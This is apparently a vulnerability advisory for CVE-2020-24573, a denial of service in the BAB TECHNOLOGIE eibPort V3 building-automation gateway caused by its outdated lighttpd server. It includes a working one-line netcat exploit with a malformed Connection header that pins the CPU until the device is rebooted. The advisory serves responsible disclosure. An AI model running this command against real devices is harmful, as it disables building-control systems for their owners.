



CVE-2020-24573 BAB TECHNOLOGIE GmbH eibPort V3 prior version 3.8.3 Denial of Service

Overview

- CVE: CVE-2020-24573
- Author: psytester
- Title: BAB TECHNOLOGIE GmbH eibPort V3 prior version 3.8.3 Denial of Service
- Vulnerability Type: CWE-400 Uncontrolled Resource Consumption
- CVSSv3 Base Score: 7.5
- CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Publishing Date: 11.11.2020
- Updated: 16.03.2021
- Vendor: BAB TECHNOLOGIE GmbH
- Product: eibPort V3
- Vendor contacted: 12.08.2020
- Vendor confirmation: 27.08.2020
- Vendor patch: 3.8.3 since November 2020, lighttpd was updated to 1.4.55
- Vendor Reference: N.A.
- Affected Firmware version: 3.8.2 and before

Background

From vendor's website:

The EIBPORT connects KNX or EnOcean building control with the IP world.

[...]

Whether simple or complex – use over 50 integrated services for almost all automation tasks in building automation. Program your own control sequences with the graphical LOGIKEDITOR or integrate third-party applications such as Amazon® Alexa. [...]

Via a secure connection, you can also control and maintain the EIBPORT remotely. [...]

On request, the EIBPORT also functions as an IP router in the KNX installation and as a programming interface to the ETS.

[...]

Issue Description

Connecting to eibPort URL shows HTTP header `Server: lighttpd/1.4.31`

After a search for already known CVE entries, the lighttpd process proved to be susceptible because of CVE-2012-5533.

This vulnerability can be exploited by unauthenticated attackers with access to the web interface:

```
echo -ne "GET / HTTP/1.1\r\nHost: 1.2.3.4\r\nConnection: TC,,Keep-Alive\r\n\r\n" | nc 1.2.3.4 80
```

After that the lighttpd is permanently in 99% CPU load and the eibPort does not react anymore, because the resources are used up:

PID	PPID	USER	STAT	VSZ	%VSZ	%CPU	COMMAND
321	1	root	R	5548	2%	99%	/usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf

Just a restart of lighttpd process seems to be not enough to fix the overload condition, a reboot is required.

CVE

[CVE-2020-24573](#)

CVSSv3 Base Score

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Credit

All researchers.

cvedetails for scanning and preparing all CVEs, separated by vendor and product. me, but I simply scanned known CVEs to use them and lighttpd/1.4.31 is a low hanging fruit in IoT devices.

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